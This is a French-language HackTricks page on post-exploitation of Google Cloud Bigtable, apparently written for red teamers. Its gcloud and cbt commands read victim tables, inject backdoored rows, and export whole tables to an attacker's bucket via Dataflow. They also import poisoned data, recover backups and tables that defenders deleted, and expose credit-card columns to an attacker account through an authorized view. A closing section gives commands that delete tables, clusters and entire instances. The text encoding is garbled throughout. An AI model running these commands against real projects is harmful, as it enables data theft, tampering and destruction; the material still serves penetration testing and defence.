GCP - Bigtable Post Exploitation
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Bigtable
Pour plus dâinformations sur Bigtable, consultez :
Tip
Installez une fois le CLI
cbtvia le Cloud SDK pour que les commandes ci-dessous fonctionnent localement :Installer le CLI `cbt`
gcloud components install cbt
Lire les lignes
Autorisations : bigtable.tables.readRows
cbt est fourni avec le Cloud SDK et se connecte aux admin/data APIs sans nĂ©cessiter de middleware. Pointez-le vers le projet/instance compromis et rĂ©cupĂ©rez les lignes directement depuis la table. Limitez le scan si vous nâavez besoin que dâun aperçu.
Lire les entrées Bigtable
```bash # Install cbt gcloud components update gcloud components install cbtRead entries with creds of gcloud
cbt -project=
</details>
### Ăcrire des lignes
**Permissions:** `bigtable.tables.mutateRows`, (you will need `bigtable.tables.readRows` to confirm the change).
Utilisez le mĂȘme outil pour insĂ©rer ou mettre Ă jour des cellules arbitraires. C'est le moyen le plus rapide pour backdoor des configs, dĂ©poser des web shells, ou implanter des poisoned dataset rows.
<details>
<summary>Injecter une ligne malveillante</summary>
```bash
# Inject a new row
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>
cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin
# Verify the injected row
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
cbt set accepte des octets bruts via la syntaxe @/path, donc vous pouvez pousser compiled payloads ou serialized protobufs exactement comme les services en aval sây attendent.
Exporter les lignes vers votre bucket
Autorisations : dataflow.jobs.create, resourcemanager.projects.get, iam.serviceAccounts.actAs
Il est possible dâexfiltrer le contenu dâune table entiĂšre vers un bucket contrĂŽlĂ© par lâattaquant en lançant un job Dataflow qui envoie les lignes en continu dans un bucket GCS que vous contrĂŽlez.
Note
Notez que vous aurez besoin de lâautorisation
iam.serviceAccounts.actAssur un SA disposant des permissions suffisantes pour effectuer lâexport (par dĂ©faut, sauf indication contraire, le compute SA par dĂ©faut sera utilisĂ©).
Exporter Bigtable vers un bucket GCS
```bash gcloud dataflow jobs runExample
gcloud dataflow jobs run dump-bigtable3
âgcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json
âproject=gcp-labs-3uis1xlx
âregion=us-central1
âparameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/
âstaging-location=gs://deleteme20u9843rhfioue/staging/
</details>
> [!NOTE]
> Basculez le template sur `Cloud_Bigtable_to_GCS_Parquet` ou `Cloud_Bigtable_to_GCS_SequenceFile` si vous voulez des sorties Parquet/SequenceFile au lieu de JSON. Les permissions sont les mĂȘmes ; seul le chemin du template change.
### Importer des lignes
**Permissions:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
Il est possible d'importer le contenu d'une table entiÚre depuis un bucket contrÎlé par l'attaquant en lançant un job Dataflow qui stream des lignes vers un bucket GCS que vous contrÎlez. Pour cela, l'attaquant devra d'abord créer un fichier parquet contenant les données à importer avec le schéma attendu. Un attaquant pourrait d'abord exporter les données au format parquet en suivant la technique précédente avec le réglage `Cloud_Bigtable_to_GCS_Parquet` puis ajouter de nouvelles entrées dans le fichier parquet téléchargé.
> [!NOTE]
> Notez que vous aurez besoin de la permission `iam.serviceAccounts.actAs` sur un certain SA disposant de suffisamment de permissions pour effectuer l'export (par défaut, si cela n'est pas indiqué autrement, le SA compute par défaut sera utilisé).
<details>
<summary>Importer depuis un bucket GCS vers Bigtable</summary>
```bash
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=<REGION> \
--gcs-location=gs://dataflow-templates-<REGION>/<VERSION>>/GCS_Parquet_to_Cloud_Bigtable \
--project=<PROJECT> \
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE-ID>,bigtableTableId=<TABLE-ID>,inputFilePattern=gs://<BUCKET>/import/bigtable_import.parquet \
--staging-location=gs://<BUCKET>/staging/
# Example
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=us-central1 \
--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \
--project=gcp-labs-3uis1xlx \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
--staging-location=gs://deleteme20u9843rhfioue/staging/
Restauration des sauvegardes
Permissions: bigtable.backups.restore, bigtable.tables.create.
Un attaquant disposant de ces permissions peut restaurer une sauvegarde dans une nouvelle table sous son contrĂŽle afin de pouvoir rĂ©cupĂ©rer dâanciennes donnĂ©es sensibles.
Restaurer une sauvegarde Bigtable
```bash gcloud bigtable backups list --instance=gcloud bigtable instances tables restore
âsource=projects/<PROJECT_ID_SOURCE>/instances/<INSTANCE_ID_SOURCE>/clusters/<CLUSTER_ID>/backups/<BACKUP_ID>
âasync
âdestination=<TABLE_ID_NEW>
âdestination-instance=<INSTANCE_ID_DESTINATION>
âproject=<PROJECT_ID_DESTINATION>
</details>
### Restaurer des tables
**Permissions :** `bigtable.tables.undelete`
Bigtable prend en charge la suppression logique (soft-deletion) avec une pĂ©riode de grĂące (gĂ©nĂ©ralement 7 jours par dĂ©faut). Pendant cette fenĂȘtre, un attaquant disposant de la permission `bigtable.tables.undelete` peut restaurer une table rĂ©cemment supprimĂ©e et rĂ©cupĂ©rer toutes ses donnĂ©es, accĂ©dant potentiellement Ă des informations sensibles censĂ©es avoir Ă©tĂ© dĂ©truites.
Ceci est particuliĂšrement utile pour :
- Récupérer des données de tables supprimées par les défenseurs lors d'une réponse à incident
- Accéder à des données historiques qui ont été intentionnellement purgées
- Inverser des suppressions accidentelles ou malveillantes pour maintenir la persistance
<details>
<summary>Restaurer une table Bigtable</summary>
```bash
# List recently deleted tables (requires bigtable.tables.list)
gcloud bigtable instances tables list --instance=<instance-id> \
--show-deleted
# Undelete a table within the retention period
gcloud bigtable instances tables undelete <table-id> \
--instance=<instance-id>
Note
LâopĂ©ration undelete ne fonctionne que pendant la pĂ©riode de rĂ©tention configurĂ©e (par dĂ©faut 7 jours). AprĂšs lâexpiration de cette fenĂȘtre, la table et ses donnĂ©es sont dĂ©finitivement supprimĂ©es et ne peuvent pas ĂȘtre rĂ©cupĂ©rĂ©es par cette mĂ©thode.
Create Authorized Views
Autorisations: bigtable.authorizedViews.create, bigtable.tables.readRows, bigtable.tables.mutateRows
Authorized views vous permettent de présenter un sous-ensemble sélectionné de la table. Au lieu de respecter least privilege, utilisez-les pour publier exactement les ensembles de colonnes/lignes sensibles qui vous intéressent et mettre votre propre principal sur liste blanche.
Warning
Le problĂšme est que pour crĂ©er une authorized view vous devez aussi ĂȘtre capable de read and mutate rows dans la table de base ; par consĂ©quent vous nâobtenez aucune permission supplĂ©mentaire et cette technique est donc principalement inutile.
Créer une authorized view
```bash cat <<'EOF' > /tmp/credit-cards.json { "subsetView": { "rowPrefixes": ["acct#"], "familySubsets": { "pii": { "qualifiers": ["cc_number", "cc_cvv"] } } } } EOFgcloud bigtable authorized-views create card-dump
âinstance=
âdefinition-file=/tmp/credit-cards.json
gcloud bigtable authorized-views add-iam-policy-binding card-dump
âinstance=
âmember=âuser:attacker@example.comâ ârole=âroles/bigtable.readerâ
</details>
Parce que l'accÚs est limité à la vue, les défenseurs négligent souvent le fait que vous venez de créer un nouvel endpoint à haute sensibilité.
### Lire les vues autorisées
**Autorisations :** `bigtable.authorizedViews.readRows`
Si vous avez accĂšs Ă une vue autorisĂ©e, vous pouvez lire ses donnĂ©es en utilisant les bibliothĂšques clientes Bigtable en spĂ©cifiant le nom de la vue autorisĂ©e dans vos requĂȘtes de lecture. Notez que la vue autorisĂ©e limitera probablement ce Ă quoi vous pouvez accĂ©der dans la table. Ciâdessous un exemple en Python :
<details>
<summary>Lire depuis une vue autorisée (Python)</summary>
```python
from google.cloud import bigtable
from google.cloud.bigtable_v2 import BigtableClient as DataClient
from google.cloud.bigtable_v2 import ReadRowsRequest
# Set your project, instance, table, view id
PROJECT_ID = "gcp-labs-3uis1xlx"
INSTANCE_ID = "avesc-20251118172913"
TABLE_ID = "prod-orders"
AUTHORIZED_VIEW_ID = "auth_view"
client = bigtable.Client(project=PROJECT_ID, admin=True)
instance = client.instance(INSTANCE_ID)
table = instance.table(TABLE_ID)
data_client = DataClient()
authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}"
request = ReadRowsRequest(
authorized_view_name=authorized_view_name
)
rows = data_client.read_rows(request=request)
for response in rows:
for chunk in response.chunks:
if chunk.row_key:
row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key
print(f"Row: {row_key}")
if chunk.family_name:
family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name
qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8')
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
print(f" {family}:{qualifier} = {value}")
Denial of Service via opérations de suppression
Permissions : bigtable.appProfiles.delete, bigtable.authorizedViews.delete, bigtable.authorizedViews.deleteTagBinding, bigtable.backups.delete, bigtable.clusters.delete, bigtable.instances.delete, bigtable.tables.delete
Toute permission de suppression de Bigtable peut ĂȘtre utilisĂ©e comme arme pour des attaques de denial of service. Un attaquant disposant de ces permissions peut perturber les opĂ©rations en supprimant des ressources Bigtable critiques :
bigtable.appProfiles.delete: Supprimer des profils dâapplication, interrompant les connexions clients et les configurations de routagebigtable.authorizedViews.delete: Supprimer des vues autorisĂ©es, coupant les chemins dâaccĂšs lĂ©gitimes pour les applicationsbigtable.authorizedViews.deleteTagBinding: Supprimer les liaisons de tags des vues autorisĂ©esbigtable.backups.delete: DĂ©truire les instantanĂ©s de sauvegarde, Ă©liminant les options de reprise aprĂšs sinistrebigtable.clusters.delete: Supprimer des clusters entiers, provoquant une indisponibilitĂ© immĂ©diate des donnĂ©esbigtable.instances.delete: Supprimer des instances Bigtable complĂštes, effaçant toutes les tables et configurationsbigtable.tables.delete: Supprimer des tables individuelles, provoquant une perte de donnĂ©es et des pannes dâapplication
Supprimer des ressources Bigtable
```bash # Delete a table gcloud bigtable instances tables deleteDelete an authorized view
gcloud bigtable authorized-views delete
âinstance=
Delete a backup
gcloud bigtable backups delete
âinstance=
Delete an app profile
gcloud bigtable app-profiles delete
âinstance=
Delete a cluster
gcloud bigtable clusters delete
âinstance=
Delete an entire instance
gcloud bigtable instances delete
</details>
> [!WARNING]
> Les opérations de suppression sont souvent immédiates et irréversibles. Assurez-vous que des sauvegardes existent avant de tester ces commandes, car elles peuvent provoquer une perte de données permanente et une grave interruption du service.
> [!TIP]
> Apprenez & pratiquez AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Soutenez HackTricks</summary>
>
> - Consultez les [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Rejoignez le** đŹ [**Discord group**](https://discord.gg/hRep4RUj7f) ou le [**telegram group**](https://t.me/peass) ou **suivez-nous** sur **Twitter** đŠ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des hacking tricks en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

